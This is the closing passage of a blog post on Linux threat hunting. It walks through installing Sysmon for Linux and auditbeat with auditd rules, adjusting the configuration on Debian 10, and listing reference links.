<span class="nb">cd </span>MSTIC-Sysmon/linux/configs  
<span class="nb">sudo </span>sysmon <span class="nt">-accepteula</span> <span class="nt">-i</span> main.xml

<span class="c"># if you are experimenting and want to see all sysmon logs use  </span>
<span class="c"># sudo sysmon -accepteula -i main.xml</span>
</code></pre></div></div>
<p>Logs should now be available in <code class="language-plaintext highlighter-rouge">/var/log/syslog</code> </p>

<p>If you want to add rules to <code class="language-plaintext highlighter-rouge">main.xml</code> then you can modify it and then reload the config and restart sysmon</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>sysmon <span class="nt">-c</span> main.xml  
<span class="nb">sudo </span>systemctl restart sysmon
</code></pre></div></div>
<h4 id="a02-setup-auditbeats-and-auditd-forlinux">A02 Setup auditbeats and auditd for linux </h4>

<p>Note: Setting up a local elasticsearch clustering is out of scope of this blog post. </p>

<p>Elastic has good documentation for auditbeats: <a href="https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html">https://www.elastic.co/guide/en/beats/auditbeat/7.15/auditbeat-installation-configuration.html</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-L</span> <span class="nt">-O</span> https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.15.2-amd64.deb  
<span class="nb">sudo </span>dpkg <span class="nt">-i</span> auditbeat-7.15.2-amd64.deb
</code></pre></div></div>
<p>Modify <code class="language-plaintext highlighter-rouge">/etc/auditbeat/auditbeat.yml</code></p>

<p>Add the config for elasticsearch</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">output.elasticsearch</span><span class="pi">:</span>  
  <span class="na">hosts</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">10.10.10.10:9200"</span><span class="pi">]</span>  
  <span class="na">username</span><span class="pi">:</span> <span class="s2">"</span><span class="s">auditbeat_internal"</span>  
  <span class="na">password</span><span class="pi">:</span> <span class="s2">"</span><span class="s">YOUR_PASSWORD"</span>
</code></pre></div></div>

<p>To configure auditd rules, validate location of the <code class="language-plaintext highlighter-rouge">audit_rule_files</code> </p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ... </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">auditd</span>  
  <span class="na">audit_rule_files</span><span class="pi">:</span> <span class="pi">[</span> <span class="s1">'</span><span class="s">${path.config}/audit.rules.d/\*.conf'</span> <span class="pi">]</span>  
  <span class="na">audit_rules</span><span class="pi">:</span> <span class="pi">|</span>
    <span class="s">## Define audit rules  </span>
<span class="c1"># ...</span>
</code></pre></div></div>

<p>In this case it is in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/</code> and I add <code class="language-plaintext highlighter-rouge">audit-rules.conf</code> from <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a>. When you start/restart the <code class="language-plaintext highlighter-rouge">auditbeat</code> service it may result in an error. To make this work in my debian 10 VM, I needed to delete the following rules:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-D
-b 8192
-f 1
-i
-a never,exit -F arch=b64 -S adjtimex -F auid=unset -F uid=chrony -F subj_type=chronyd_t
-a always,exit -F arch=b32 -F uid!=ntp -S adjtimex -S settimeofday -S clock_settime -k time
-a always,exit -F arch=b64 -F uid!=ntp -S adjtimex -S settimeofday -S clock_settime -k time
</code></pre></div></div>

<p>For some of the custom rules I make I add it in <code class="language-plaintext highlighter-rouge">/etc/auditbeat/audit.rules.d/custom.conf</code> </p>

<hr />

<h1 id="other-sources">Other sources:</h1>

<ul>
  <li>[1] <a href="https://github.com/elastic/integrations/issues/1930">https://github.com/elastic/integrations/issues/1930</a></li>
  <li>[2] <a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a></li>
  <li>[3] <a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a></li>
  <li>[4] <a href="https://www.linkedin.com/pulse/using-auditd-monitor-network-connections-alex-maestretti/">Using Auditd to Monitor Network Connections</a></li>
  <li>[5] <a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">Critical RCE Vulnerability: log4j - CVE-2021-44228</a></li>
</ul>

<hr />

<p>Photo by <a href="https://unsplash.com/@brookanderson?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Brook Anderson</a> on <a href="https://unsplash.com/s/photos/climbing?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><category term="mitre" /><category term="persistence" /><category term="threat hunting" /><category term="sysmon" /><category term="auditd" /><summary type="html"><![CDATA[An introduction to monitoring and logging in linux to look for persistence. With examples how to setup and detect web shell backdoors.]]></summary></entry></feed>